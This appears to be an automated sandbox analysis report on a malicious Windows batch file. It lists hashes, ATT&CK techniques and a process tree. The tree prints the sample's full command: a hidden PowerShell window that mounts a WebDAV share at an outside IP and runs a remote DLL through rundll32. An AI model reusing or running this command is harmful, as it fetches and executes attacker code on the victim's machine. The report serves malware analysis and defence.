31142c3dd5ca319557854ed8a4ea00a4799e029fa35010e2c5d1904494f79b8b

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13-07-2024 09:30

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General

Target

31142c3dd5ca319557854ed8a4ea00a4799e029fa35010e2c5d1904494f79b8b.bat
Size

2KB
MD5

d4979670bcbe8234e3ec020b61ef507b
SHA1

d44c5fef0e89c90b6a5f6d69e8d2a8a109ef270c
SHA256

31142c3dd5ca319557854ed8a4ea00a4799e029fa35010e2c5d1904494f79b8b
SHA512

b8fcc605b8447c9261a941c092c6f8a8536efcad9576d494849def1400026f1143f6a7472be81ee1becdc31cf2958f74ef1edcf3c38fe598b77a040ab9157ff1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4944	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4944	powershell.exe
4944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4944	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3020	wordpad.exe
3020	wordpad.exe
3020	wordpad.exe
3020	wordpad.exe
3020	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4468 wrote to memory of 3020	4468	cmd.exe	85
PID 4468 wrote to memory of 3020	4468	cmd.exe	85
PID 4468 wrote to memory of 4944	4468	cmd.exe	88
PID 4468 wrote to memory of 4944	4468	cmd.exe	88
PID 4944 wrote to memory of 4104	4944	powershell.exe	90
PID 4944 wrote to memory of 4104	4944	powershell.exe	90
PID 4944 wrote to memory of 4256	4944	powershell.exe	91
PID 4944 wrote to memory of 4256	4944	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31142c3dd5ca319557854ed8a4ea00a4799e029fa35010e2c5d1904494f79b8b.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4468
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2508.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4104
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2508.dll,entry
    3⤵
    PID:4256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:5080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mmlwb43q.qtu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4944-9-0x000001C869B20000-0x000001C869B42000-memory.dmp

Filesize
136KB

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